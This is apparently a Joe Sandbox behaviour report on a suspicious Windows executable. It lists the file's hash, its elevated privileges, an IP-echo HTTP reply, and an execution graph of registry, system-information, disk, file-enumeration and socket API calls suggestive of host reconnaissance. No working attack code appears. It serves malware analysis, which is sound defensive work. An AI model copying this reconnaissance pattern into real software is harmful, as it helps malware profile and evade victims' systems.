                                                  Server: gunicorn/19.9.0
                                                  Access-Control-Allow-Origin: *
                                                  Access-Control-Allow-Credentials: true
                                                  2024-12-26 13:14:19 UTC31INData Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a
                                                  Data Ascii: { "origin": "8.46.123.189"}


                                                  Statistics

                                                  CPU Usage

                                                  Click to jump to process

                                                  Memory Usage

                                                  Click to jump to process

                                                  High Level Behavior Distribution

                                                  Click to dive into process behavior distribution

                                                  System Behavior

                                                  General

                                                  Target ID:1
                                                  Start time:08:14:13
                                                  Start date:26/12/2024
                                                  Path:C:\Users\user\Desktop\mBr65h6L4w.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:"C:\Users\user\Desktop\mBr65h6L4w.exe"
                                                  Imagebase:0x990000
                                                  File size:4'472'320 bytes
                                                  MD5 hash:46F2CE87FF70ECD81CEF884655F82EA3
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:low
                                                  Has exited:true

                                                  Disassembly

                                                  Reset < >

                                                    Execution Graph

                                                    Execution Coverage:2.3%
                                                    Dynamic/Decrypted Code Coverage:0%
                                                    Signature Coverage:13.1%
                                                    Total number of Nodes:574
                                                    Total number of Limit Nodes:90
                                                    execution_graph 66998 9a1139 67012 9cbaa0 66998->67012 67000 9a1148 67001 9a1512 67000->67001 67002 9a1161 67000->67002 67010 9a0f00 67001->67010 67020 9a22d0 localeconv localeconv 67001->67020 67002->67010 67016 9a0150 67002->67016 67006 9a0150 localeconv localeconv 67006->67010 67007 9a0f7b 67008 9975a0 localeconv localeconv 67008->67010 67010->67006 67010->67007 67010->67008 67021 9cd4d0 closesocket localeconv localeconv 67010->67021 67022 9a4940 localeconv localeconv 67010->67022 67023 9a3900 localeconv localeconv 67010->67023 67013 9cbb60 67012->67013 67015 9cbac7 67012->67015 67013->67000 67015->67013 67024 9b05b0 localeconv localeconv 67015->67024 67018 9a0167 67016->67018 67017 9a01c3 67017->67010 67018->67017 67025 9a30d0 localeconv localeconv 67018->67025 67020->67010 67021->67010 67022->67010 67023->67010 67024->67013 67025->67017 66445 a44720 66449 a44728 66445->66449 66446 a44733 66448 a44774 66449->66446 66456 a4476c 66449->66456 66457 a45540 closesocket 66449->66457 66451 a4482e 66451->66456 66458 a49270 66451->66458 66453 a44860 66463 a44950 66453->66463 66455 a44878 66456->66455 66469 a430a0 closesocket 66456->66469 66457->66451 66470 a4a440 66458->66470 66460 a49297 66462 a492ab 66460->66462 66504 a4bbe0 closesocket 66460->66504 66462->66453 66465 a44966 66463->66465 66464 a449c5 66464->66456 66465->66464 66468 a449b9 66465->66468 66563 a4bbe0 closesocket 66465->66563 66466 a44aa0 gethostname 66466->66464 66466->66468 66468->66464 66468->66466 66469->66448 66500 a4a46b 66470->66500 66471 a4aa03 RegOpenKeyExA 66472 a4aa27 RegQueryValueExA 66471->66472 66473 a4ab70 RegOpenKeyExA 66471->66473 66475 a4aa71 66472->66475 66476 a4aacc RegQueryValueExA 66472->66476 66474 a4ac34 RegOpenKeyExA 66473->66474 66495 a4ab90 66473->66495 66477 a4acf8 RegOpenKeyExA 66474->66477 66494 a4ac54 66474->66494 66475->66476 66482 a4aa85 RegQueryValueExA 66475->66482 66478 a4ab66 RegCloseKey 66476->66478 66479 a4ab0e 66476->66479 66480 a4ad56 RegEnumKeyExA 66477->66480 66485 a4ad14 66477->66485 66478->66473 66479->66478 66484 a4ab1e RegQueryValueExA 66479->66484 66481 a4ad9b 66480->66481 66480->66485 66486 a4ae16 RegOpenKeyExA 66481->66486 66483 a4aab3 66482->66483 66483->66476 66491 a4ab4c 66484->66491 66485->66460 66487 a4ae34 RegQueryValueExA 66486->66487 66488 a4addf RegEnumKeyExA 66486->66488 66489 a4af43 RegQueryValueExA 66487->66489 66503 a4adaa 66487->66503 66488->66485 66488->66486 66490 a4b052 RegQueryValueExA 66489->66490 66489->66503 66492 a4adc7 RegCloseKey 66490->66492 66490->66503 66491->66478 66492->66488 66493 a4afa0 RegQueryValueExA 66493->66503 66494->66477 66495->66474 66496 a4a794 GetBestRoute2 66497 a4d190 2 API calls 66496->66497 66497->66500 66498 a4a6c7 GetBestRoute2 66505 a4d190 66498->66505 66500->66496 66500->66498 66501 a4b180 localeconv localeconv 66500->66501 66502 a4a4db 66500->66502 66501->66500 66502->66471 66502->66485 66503->66489 66503->66490 66503->66492 66503->66493 66504->66462 66506 a4d1ae 66505->66506 66508 a4d1fa 66505->66508 66542 a4d1e8 66506->66542 66545 a4d8f0 localeconv localeconv 66506->66545 66509 a4d4b7 66508->66509 66510 a4d4f9 66508->66510 66546 a4d8f0 localeconv localeconv 66509->66546 66512 a4d504 66510->66512 66554 a4d8f0 localeconv localeconv 66510->66554 66518 a4d516 66512->66518 66555 a4d8f0 localeconv localeconv 66512->66555 66513 a4d4ce 66520 a4d4e3 66513->66520 66547 a4d8f0 localeconv localeconv 66513->66547 66516 a4d51f 66519 a4d52c 66516->66519 66557 a4d8f0 localeconv localeconv 66516->66557 66518->66516 66556 a4d8f0 localeconv localeconv 66518->66556 66523 a4d535 66519->66523 66558 a4d8f0 localeconv localeconv 66519->66558 66521 a4d4f4 66520->66521 66548 a4d8f0 localeconv localeconv 66520->66548 66530 a4d5bf 66521->66530 66549 a4d8f0 localeconv localeconv 66521->66549 66534 a4d53e 66523->66534 66559 a4d8f0 localeconv localeconv 66523->66559 66527 a4d547 66527->66542 66561 a4d8f0 localeconv localeconv 66527->66561 66533 a4d5fb 66530->66533 66550 a4d8f0 localeconv localeconv 66530->66550 66531 a4d87f 66531->66542 66562 a4d8f0 localeconv localeconv 66531->66562 66540 a4d632 66533->66540 66551 a4d8f0 localeconv localeconv 66533->66551 66534->66527 66534->66531 66536 a4d7fe 66534->66536 66560 a4d8f0 localeconv localeconv 66536->66560 66541 a4d66e 66540->66541 66552 a4d8f0 localeconv localeconv 66540->66552 66541->66542 66553 a4d8f0 localeconv localeconv 66541->66553 66542->66500 66545->66542 66546->66513 66547->66520 66548->66521 66549->66530 66550->66533 66551->66540 66552->66541 66553->66542 66554->66512 66555->66518 66556->66516 66557->66519 66558->66523 66559->66534 66560->66527 66561->66542 66562->66542 66563->66468 66564 99255d 66565 d19f70 66564->66565 66566 99256c GetSystemInfo 66565->66566 66567 992589 66566->66567 66568 9925a0 GlobalMemoryStatusEx 66567->66568 66576 9925ec 66568->66576 66569 99263c GetDriveTypeA 66571 992655 GetDiskFreeSpaceExA 66569->66571 66569->66576 66570 992762 66572 9927d6 KiUserCallbackDispatcher 66570->66572 66571->66576 66573 9927f8 66572->66573 66574 992842 SHGetKnownFolderPath 66573->66574 66575 9928c3 66574->66575 66577 9928d9 FindFirstFileW 66575->66577 66576->66569 66576->66570 66578 992906 FindNextFileW 66577->66578 66579 992928 66577->66579 66578->66578 66578->66579 67026 a43c00 67027 a43c23 67026->67027 67029 a43c0d 67026->67029 67027->67029 67030 a5b180 67027->67030 67033 a5b19b 67030->67033 67037 a5b2e3 67030->67037 67034 a5b2a9 getsockname 67033->67034 67036 a5b020 closesocket 67033->67036 67033->67037 67038 a5af30 67033->67038 67042 a5b060 67033->67042 67047 a5b020 67034->67047 67036->67033 67037->67029 67039 a5af63 socket 67038->67039 67040 a5af4c 67038->67040 67039->67033 67040->67039 67041 a5af52 67040->67041 67041->67033 67046 a5b080 67042->67046 67043 a5b0b0 connect 67044 a5b0bf WSAGetLastError 67043->67044 67045 a5b0ea 67044->67045 67044->67046 67045->67033 67046->67043 67046->67044 67046->67045 67048 a5b052 67047->67048 67049 a5b029 67047->67049 67048->67033 67050 a5b04b closesocket 67049->67050 67051 a5b03e 67049->67051 67050->67048 67051->67033 67052 a5a080 67055 a59740 67052->67055 67054 a5a09b 67056 a59780 67055->67056 67061 a5975d 67055->67061 67057 a59925 RegOpenKeyExA 67056->67057 67056->67061 67058 a5995a RegQueryValueExA 67057->67058 67062 a59812 67057->67062 67059 a59986 RegCloseKey 67058->67059 67059->67061 67060 a4d190 2 API calls 67060->67061 67061->67060 67061->67062 67062->67054 67063 9929ff FindFirstFileA 67064 992a31 67063->67064 67065 992a5c RegOpenKeyExA 67064->67065 67066 992a93 67065->67066 67067 992ade CharUpperA 67066->67067 67069 992b0a 67067->67069 67068 992bf9 QueryFullProcessImageNameA 67070 992c3b CloseHandle 67068->67070 67069->67068 67072 992c64 67070->67072 67071 992df1 CloseHandle 67073 992e23 67071->67073 67072->67071 66580 993d5e 66581 993d30 66580->66581 66581->66580 66582 993d90 66581->66582 66586 9a0ab0 66581->66586 66589 99fcb0 closesocket localeconv localeconv 66582->66589 66585 993dc1 66590 9a05b0 66586->66590 66589->66585 66591 9a07c7 66590->66591 66599 9a05bd 66590->66599 66591->66581 66596 9a066a 66597 9a06f0 66596->66597 66601 9a07ce 66596->66601 66609 9a73b0 localeconv localeconv 66596->66609 66598 9a07ef 66597->66598 66600 9a0707 WSAEventSelect 66597->66600 66610 9976a0 66597->66610 66598->66601 66604 9a0847 66598->66604 66622 9a6fa0 66598->66622 66599->66591 66599->66596 66599->66601 66607 9a03c0 localeconv localeconv 66599->66607 66608 9a7450 localeconv localeconv 66599->66608 66600->66597 66600->66601 66621 9a7380 localeconv localeconv 66601->66621 66604->66601 66605 9a09e8 WSAEnumNetworkEvents 66604->66605 66606 9a09d0 WSAEventSelect 66604->66606 66605->66604 66605->66606 66606->66604 66606->66605 66607->66599 66608->66599 66609->66596 66611 9976c0 66610->66611 66612 9976e6 send 66610->66612 66611->66612 66613 9976c9 66611->66613 66614 997704 66612->66614 66615 9976d3 66612->66615 66613->66615 66616 99770b 66613->66616 66614->66597 66626 9972a0 localeconv localeconv 66615->66626 66627 9972a0 localeconv localeconv 66616->66627 66619 99771c 66628 99cb20 localeconv localeconv 66619->66628 66621->66591 66623 9a6fd4 66622->66623 66625 9a6feb 66622->66625 66624 9a7207 select 66623->66624 66623->66625 66624->66625 66625->66604 66626->66614 66627->66619 66628->66614 67074 99f7b0 67076 99f7c3 67074->67076 67094 99f97a 67074->67094 67075 9a0150 2 API calls 67082 99f854 67075->67082 67076->67075 67076->67094 67078 99f942 67079 99f987 67078->67079 67080 9e1390 2 API calls 67078->67080 67111 9e1390 67079->67111 67080->67078 67082->67094 67095 9ccd80 67082->67095 67084 9e1390 2 API calls 67085 99f9a0 67084->67085 67086 9e1390 2 API calls 67085->67086 67087 99f9ac 67086->67087 67088 99f9bb WSACloseEvent 67087->67088 67089 9975a0 2 API calls 67088->67089 67090 99f9df 67089->67090 67091 9975a0 2 API calls 67090->67091 67092 99fa12 67091->67092 67093 9975a0 2 API calls 67092->67093 67093->67094 67096 9cd0f1 67095->67096 67102 9ccd9a 67095->67102 67096->67078 67097 9cd0e5 67098 9e1390 2 API calls 67097->67098 67098->67096 67101 9cd016 67120 9af6c0 WSACloseEvent select closesocket localeconv localeconv 67101->67120 67102->67097 67105 9cce6b 67102->67105 67115 9cdc30 closesocket localeconv localeconv 67102->67115 67105->67101 67109 9ccf4b 67105->67109 67116 9cdc30 closesocket localeconv localeconv 67105->67116 67106 9cd018 67119 9a7380 localeconv localeconv 67106->67119 67108 9a6fa0 select 67108->67109 67109->67101 67109->67106 67109->67108 67117 9ce130 closesocket localeconv localeconv 67109->67117 67118 9a7380 localeconv localeconv 67109->67118 67112 99f98d 67111->67112 67113 9e139d 67111->67113 67112->67084 67114 9975a0 2 API calls 67113->67114 67114->67112 67115->67102 67116->67105 67117->67109 67118->67109 67119->67101 67120->67097 66629 9c8b50 66630 9c8b6b 66629->66630 66649 9c8be6 66629->66649 66631 9c8b8f 66630->66631 66632 9c8bf3 66630->66632 66630->66649 66731 9a6e40 select 66631->66731 66662 9ca550 66632->66662 66636 9c8cd9 SleepEx 66647 9c8d14 66636->66647 66637 9c8e85 66642 9c8eae 66637->66642 66637->66649 66737 9a2a00 localeconv localeconv 66637->66737 66638 9c8c1f connect 66639 9c8c35 66638->66639 66719 9ca150 66639->66719 66640 9ca150 3 API calls 66650 9c8dff 66640->66650 66641 9c8bb5 66641->66649 66733 9d50a0 localeconv localeconv 66641->66733 66642->66649 66738 9978b0 closesocket 66642->66738 66643 9c8cb2 66643->66637 66643->66640 66643->66649 66647->66643 66648 9c8d43 66647->66648 66655 9ca150 3 API calls 66648->66655 66650->66637 66735 9ad090 localeconv localeconv 66650->66735 66653 9c8dc8 66734 9cb100 localeconv localeconv 66653->66734 66654 9c8ba1 66654->66636 66654->66641 66654->66643 66655->66641 66656 9c8e67 66736 9d4fd0 localeconv localeconv 66656->66736 66661 9c8c8b 66661->66653 66661->66654 66663 9ca575 66662->66663 66665 9ca597 66663->66665 66742 9975e0 66663->66742 66713 9ca6d9 66665->66713 66754 9cef30 66665->66754 66667 9ca709 66669 9978b0 3 API calls 66667->66669 66677 9ca713 66667->66677 66668 9ca63a 66674 9ca641 66668->66674 66678 9ca69b 66668->66678 66669->66677 66670 9c8bfc 66670->66638 66670->66639 66670->66643 66670->66649 66672 9ca7e5 66676 9ca811 setsockopt 66672->66676 66680 9ca87c 66672->66680 66692 9ca8ee 66672->66692 66674->66672 66763 9d4fd0 localeconv localeconv 66674->66763 66676->66680 66685 9ca83b 66676->66685 66677->66670 66762 9d50a0 localeconv localeconv 66677->66762 66759 9ad090 localeconv localeconv 66678->66759 66680->66692 66766 9cb1e0 localeconv localeconv 66680->66766 66681 9ca6c9 66760 9d4f40 localeconv localeconv 66681->66760 66685->66680 66764 9ad090 localeconv localeconv 66685->66764 66686 9caf56 66688 9caf5d 66686->66688 66686->66713 66688->66677 66691 9ca150 3 API calls 66688->66691 66689 9ca86d 66765 9d4fd0 localeconv localeconv 66689->66765 66691->66677 66694 9cabb9 66692->66694 66695 9cacb8 66692->66695 66696 9cae32 66692->66696 66701 9caf33 66692->66701 66709 9cabe1 66692->66709 66692->66713 66693 9cb056 66776 9ad090 localeconv localeconv 66693->66776 66699 9cad45 66694->66699 66700 9cade6 66694->66700 66694->66709 66768 9c6be0 select closesocket localeconv localeconv 66694->66768 66695->66694 66703 9cacdc 66695->66703 66695->66713 66696->66694 66773 9d4fd0 localeconv localeconv 66696->66773 66697 9caf03 66697->66701 66774 9d4fd0 localeconv localeconv 66697->66774 66699->66700 66711 9cad5f 66699->66711 66771 9ad090 localeconv localeconv 66700->66771 66758 9f67e0 ioctlsocket 66701->66758 66767 9ad090 localeconv localeconv 66703->66767 66707 9cb07b 66777 9d4f40 localeconv localeconv 66707->66777 66709->66693 66709->66697 66709->66713 66775 9d4fd0 localeconv localeconv 66709->66775 66710 9cadb7 66770 9e3030 localeconv localeconv 66710->66770 66711->66710 66769 9d4fd0 localeconv localeconv 66711->66769 66713->66667 66713->66677 66761 9a2a00 localeconv localeconv 66713->66761 66715 9cad01 66772 9d4f40 localeconv localeconv 66715->66772 66720 9ca15f 66719->66720 66721 9c8c4d 66719->66721 66720->66721 66722 9ca181 getsockname 66720->66722 66721->66661 66732 9d50a0 localeconv localeconv 66721->66732 66723 9ca1f7 66722->66723 66724 9ca1d0 66722->66724 66725 9cef30 2 API calls 66723->66725 66782 9ad090 localeconv localeconv 66724->66782 66729 9ca20f 66725->66729 66727 9ca1eb 66784 9d4f40 localeconv localeconv 66727->66784 66729->66721 66783 9ad090 localeconv localeconv 66729->66783 66731->66654 66732->66661 66733->66649 66734->66643 66735->66656 66736->66637 66737->66642 66739 9978d7 66738->66739 66740 9978c5 66738->66740 66739->66649 66785 9972a0 localeconv localeconv 66740->66785 66743 9975ef 66742->66743 66744 997607 socket 66742->66744 66743->66744 66747 997601 66743->66747 66748 997643 66743->66748 66745 99762b 66744->66745 66746 99763a 66744->66746 66778 9972a0 localeconv localeconv 66745->66778 66746->66665 66747->66744 66779 9972a0 localeconv localeconv 66748->66779 66751 997654 66780 99cb20 localeconv localeconv 66751->66780 66753 997674 66753->66665 66755 9cefa8 66754->66755 66757 9cef47 66754->66757 66755->66757 66781 99c960 localeconv localeconv 66755->66781 66757->66668 66758->66686 66759->66681 66760->66713 66761->66667 66762->66670 66763->66672 66764->66689 66765->66680 66766->66692 66767->66715 66768->66699 66769->66710 66770->66709 66771->66715 66772->66713 66773->66694 66774->66701 66775->66709 66776->66707 66777->66713 66778->66746 66779->66751 66780->66753 66781->66757 66782->66727 66783->66727 66784->66721 66785->66739 67121 9c95b0 67122 9c95c8 67121->67122 67124 9c95fd 67121->67124 67123 9ca150 3 API calls 67122->67123 67122->67124 67123->67124 66786 9931d7 66789 9931f4 66786->66789 66787 993200 66788 9932dc CloseHandle 66788->66787 66789->66787 66789->66788 66790 992f17 66799 992f2c 66790->66799 66791 9931d3 66794 99315c RegEnumKeyExA 66794->66799 66795 991619 2 API calls 66796 993046 RegOpenKeyExA 66795->66796 66797 993089 RegQueryValueExA 66796->66797 66796->66799 66798 99313b RegCloseKey 66797->66798 66797->66799 66798->66799 66799->66791 66799->66794 66799->66795 66799->66798 66800 991619 66799->66800 66803 d21360 66800->66803 66802 991645 RegOpenKeyExA 66802->66799 66804 d213b0 66803->66804 66805 d21379 66803->66805 66806 d1d1d0 2 API calls 66804->66806 66810 d1d1d0 66805->66810 66809 d213d0 66806->66809 66808 d21398 66808->66802 66809->66802 66814 d1d1ed 66810->66814 66811 d1d504 localeconv 66811->66814 66812 d1c9c0 localeconv 66812->66814 66813 d1ca50 localeconv 66813->66814 66814->66811 66814->66812 66814->66813 66815 d1d3ae 66814->66815 66816 d1cc90 localeconv 66814->66816 66815->66808 66816->66814 66817 9913c9 66820 991160 66817->66820 66819 9913a1 66820->66819 66821 d18a20 localeconv localeconv localeconv localeconv _lock 66820->66821 66821->66820 66822 e17830 66824 e1785a 66822->66824 66823 e17866 66824->66823 66834 d212c0 66824->66834 66826 e178a6 66827 e1789a 66827->66826 66828 e17950 66827->66828 66830 e17906 66827->66830 66838 d1b500 localeconv localeconv _lock 66828->66838 66831 e17944 66830->66831 66839 d1b500 localeconv localeconv _lock 66830->66839 66832 e17979 66835 d212cc 66834->66835 66840 d1e050 66835->66840 66837 d212fa 66837->66827 66838->66832 66839->66832 66841 d1e09d localeconv localeconv 66840->66841 66842 d1e0ce 66840->66842 66841->66842 66842->66837 67125 e1f250 67126 d21360 2 API calls 67125->67126 67128 e1f282 67126->67128 67127 e1f28e 67128->67127 67129 d21360 2 API calls 67128->67129 67130 e1f2d3 67129->67130 67131 e1f2ec 67130->67131 67133 d21420 localeconv localeconv 67130->67133 67133->67131 67134 a45a50 67135 a45a58 67134->67135 67139 a45ea0 67134->67139 67136 a45b50 67135->67136 67146 a45b88 67135->67146 67148 a45a99 67135->67148 67140 a45eb4 67136->67140 67141 a45b7a 67136->67141 67136->67146 67137 a45e96 67171 a59480 closesocket 67137->67171 67172 a46f10 7 API calls 67140->67172 67158 a470a0 67141->67158 67145 a45ec2 67145->67145 67152 a45cae 67146->67152 67168 a46d50 localeconv localeconv 67146->67168 67148->67146 67150 a470a0 8 API calls 67148->67150 67167 a46f10 7 API calls 67148->67167 67150->67148 67152->67137 67154 a5a920 67152->67154 67169 a46d50 localeconv localeconv 67152->67169 67170 a59320 closesocket 67152->67170 67155 a5a944 67154->67155 67156 a5a94b 67155->67156 67157 a5a977 send 67155->67157 67156->67152 67157->67152 67165 a470ae 67158->67165 67160 a471a7 67160->67146 67161 a4717f 67161->67160 67178 a46d50 localeconv localeconv 67161->67178 67163 a4719f 67179 a59320 closesocket 67163->67179 67165->67160 67165->67161 67173 a5a8c0 67165->67173 67177 a471c0 6 API calls 67165->67177 67167->67148 67168->67146 67169->67152 67170->67152 67171->67139 67172->67145 67174 a5a8e6 67173->67174 67175 a5a903 recvfrom 67173->67175 67174->67175 67176 a5a8ed 67174->67176 67175->67176 67176->67165 67177->67165 67178->67163 67179->67160 67180 9ad5e0 67181 9ad652 WSAStartup 67180->67181 67182 9ad5f0 67180->67182 67181->67182 67183 9ad664 67181->67183 67185 9ad67c 67182->67185 67187 9ad690 localeconv localeconv 67182->67187 67186 9ad5fa 67187->67186 66843 9cb3c0 66844 9cb3ee 66843->66844 66845 9cb3cb 66843->66845 66847 9976a0 3 API calls 66845->66847 66849 9c9290 66845->66849 66846 9cb3ea 66847->66846 66850 9976a0 3 API calls 66849->66850 66851 9c92e5 66850->66851 66852 9c93c3 66851->66852 66854 9c92f3 66851->66854 66857 9c9392 66852->66857 66863 9ad090 localeconv localeconv 66852->66863 66853 9c93be 66853->66846 66854->66857 66858 9c9335 WSAIoctl 66854->66858 66856 9c93f7 66864 9d4f40 localeconv localeconv 66856->66864 66857->66853 66865 9d50a0 localeconv localeconv 66857->66865 66858->66857 66861 9c9366 66858->66861 66861->66857 66862 9c9371 setsockopt 66861->66862 66862->66857 66863->66856 66864->66857 66865->66853 66866 9ce400 66867 9ce412 66866->66867 66872 9ce459 66866->66872 66868 9ce422 66867->66868 66890 9e3030 localeconv localeconv 66867->66890 66891 9f09d0 localeconv localeconv 66868->66891 66871 9ce4a8 66872->66871 66875 9ce495 66872->66875 66878 9cb5a0 66872->66878 66873 9ce42b 66892 9c68b0 closesocket localeconv localeconv 66873->66892 66875->66871 66877 9cb5a0 2 API calls 66875->66877 66877->66871 66879 9cb5c0 66878->66879 66889 9cb5d2 66878->66889 66880 9cb626 66879->66880 66881 9cb713 66879->66881 66879->66889 66882 9cb65a 66880->66882 66885 9cb72b 66880->66885 66886 9cb737 66880->66886 66880->66889 66893 9d50a0 localeconv localeconv 66880->66893 66894 9d4f40 localeconv localeconv 66881->66894 66882->66885 66882->66886 66882->66889 66885->66889 66895 9d50a0 localeconv localeconv 66885->66895 66886->66889 66896 9d50a0 localeconv localeconv 66886->66896 66889->66875 66890->66868 66891->66873 66892->66872 66893->66880 66894->66889 66895->66889 66896->66889 66897 9cb400 66898 9cb40b 66897->66898 66899 9cb425 66897->66899 66902 997770 66898->66902 66900 9cb421 66903 997790 66902->66903 66904 9977b6 recv 66902->66904 66903->66904 66906 997799 66903->66906 66905 9977a3 66904->66905 66912 9977d4 66904->66912 66913 9972a0 localeconv localeconv 66905->66913 66906->66905 66908 9977db 66906->66908 66914 9972a0 localeconv localeconv 66908->66914 66910 9977ec 66915 99cb20 localeconv localeconv 66910->66915 66912->66900 66913->66912 66914->66910 66915->66912 66916 9cf100 66918 9cf11f 66916->66918 66943 9cf1b8 66916->66943 66917 9cff1a 66959 9d0c80 localeconv localeconv 66917->66959 66920 9cf2a3 66918->66920 66933 9cf240 66918->66933 66937 9cf603 66918->66937 66918->66943 66951 9d4f40 localeconv localeconv 66920->66951 66922 9d0045 66925 9d010d 66922->66925 66928 9d004d 66922->66928 66922->66943 66962 9d50a0 localeconv localeconv 66922->66962 66923 9cf80d 66926 9d015e 66925->66926 66963 9d50a0 localeconv localeconv 66925->66963 66926->66928 66964 9d50a0 localeconv localeconv 66926->66964 66927 9d008a 66961 9d4f40 localeconv localeconv 66927->66961 66965 9d4f40 localeconv localeconv 66928->66965 66933->66943 66952 997310 localeconv localeconv 66933->66952 66936 9cf491 66936->66937 66954 997310 localeconv localeconv 66936->66954 66937->66917 66937->66922 66937->66923 66937->66927 66945 9d0d30 localeconv localeconv 66937->66945 66948 9d50a0 localeconv localeconv 66937->66948 66957 99fa50 localeconv localeconv 66937->66957 66958 9d4fd0 localeconv localeconv 66937->66958 66939 9cff5b 66939->66943 66960 9d50a0 localeconv localeconv 66939->66960 66942 9cf3ce 66942->66936 66942->66943 66953 9d50a0 localeconv localeconv 66942->66953 66945->66937 66946 9cf5b9 66956 99fa50 localeconv localeconv 66946->66956 66948->66937 66949 9cf50d 66949->66943 66949->66946 66955 9d50a0 localeconv localeconv 66949->66955 66951->66943 66952->66942 66953->66936 66954->66949 66955->66946 66956->66937 66957->66937 66958->66937 66959->66939 66960->66943 66961->66943 66962->66925 66963->66926 66964->66928 66965->66943 66966 9d0700 66967 9d099d 66966->66967 66969 9d0719 66966->66969 66969->66967 66972 9d09b5 66969->66972 66973 9d09f6 66969->66973 66975 9d0a35 66969->66975 66984 997310 localeconv localeconv 66969->66984 66985 9cb8e0 localeconv localeconv 66969->66985 66986 9ff570 localeconv localeconv 66969->66986 66987 9beb30 localeconv localeconv 66969->66987 66988 9f13a0 localeconv localeconv 66969->66988 66989 a139a0 localeconv localeconv 66969->66989 66990 9beae0 localeconv localeconv 66969->66990 66972->66967 66991 9d50a0 localeconv localeconv 66972->66991 66992 9975a0 66973->66992 66996 9d4f40 localeconv localeconv 66975->66996 66982 9975a0 2 API calls 66982->66967 66984->66969 66985->66969 66986->66969 66987->66969 66988->66969 66989->66969 66990->66969 66991->66967 66993 9975aa 66992->66993 66994 9975d1 66992->66994 66993->66994 66997 9972a0 localeconv localeconv 66993->66997 66994->66982 66996->66967 66997->66994

                                                    Executed Functions

                                                    Function 009CF100 Relevance: 20.1, Strings: 15, Instructions: 1304COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: %s assess started=%d, result=%d$%s connect -> %d, connected=%d$%s connect timeout after %lldms, move on!$%s done$%s starting (timeout=%lldms)$%s trying next$Connected to %s (%s) port %u$Connection time-out$Connection timeout after %lld ms$Failed to connect to %s port %u after %lld ms: %s$all eyeballers failed$connect.c$created %s (timeout %lldms)$ipv4$ipv6
                                                    • API String ID: 0-1590685507
                                                    • Opcode ID: 4bcdaacceb04701ede1c80682cb8bcc9c99aa6f5fe5e3ca32bdb48ffa49ab2d4
                                                    • Instruction ID: 4d1c43582e08a89ee25413c8d1f8eda629c6a4821bc0694d61c06dc828f3210f
                                                    • Opcode Fuzzy Hash: 4bcdaacceb04701ede1c80682cb8bcc9c99aa6f5fe5e3ca32bdb48ffa49ab2d4
                                                    • Instruction Fuzzy Hash: 0AC2C131A043449FD724CF28C594B6AB7E6BF84314F05C66DEC999B2A2D770ED85CB82
                                                    Function 0099255D Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 282fileCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                    • GetSystemInfo.KERNELBASE ref: 00992579
                                                    • GlobalMemoryStatusEx.KERNELBASE ref: 009925CC
                                                    • GetDriveTypeA.KERNELBASE ref: 00992647
                                                    • GetDiskFreeSpaceExA.KERNELBASE ref: 0099267E
                                                    • KiUserCallbackDispatcher.NTDLL ref: 009927E2
                                                    • SHGetKnownFolderPath.SHELL32 ref: 0099286D
                                                    • FindFirstFileW.KERNELBASE ref: 009928F8
                                                    • FindNextFileW.KERNELBASE ref: 0099291F
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
